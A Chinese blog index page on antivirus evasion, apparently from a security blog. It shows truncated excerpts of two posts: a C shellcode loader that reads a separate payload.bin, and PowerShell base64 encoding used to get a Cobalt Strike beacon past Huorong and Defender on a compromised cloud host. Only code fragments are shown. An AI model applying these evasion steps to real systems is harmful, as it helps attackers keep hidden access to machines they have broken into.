免杀
春日野穹ㅤ
基于自身意志的行动才有价值
展开
-
C实现分离免杀
前期准备1.编译好mian.exe,源码如下#include <stdio.h>#include <windows.h>int main(int argc,char* argv[]){ //打开要执行的ShellCode文件 HANDLE hFile = CreateFileA("payload.bin", GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL); if (hFile==INVALID_HANDLE_VALUE)原创 2021-02-28 15:40:43 · 2402 阅读 · 0 评论 -
Powershell 过火绒免杀上线
引言拿到一台位于阿里云主机的shell,为IIS权限需要上线cs提权,主机自带阿里云盾和Windows Defender、且安装了火绒,为方便后续操作,需要进一步提权。powershell免杀制作payload生成原生payload生成后被无情秒杀powershell免杀制作打开powershell命令行,将payload编码1.新建一个变量h,用来接收之后编码的payload$h= ''2.把FromBase64String放入变量$k中$k=[System.Convert]原创 2021-01-10 17:06:53 · 5233 阅读 · 0 评论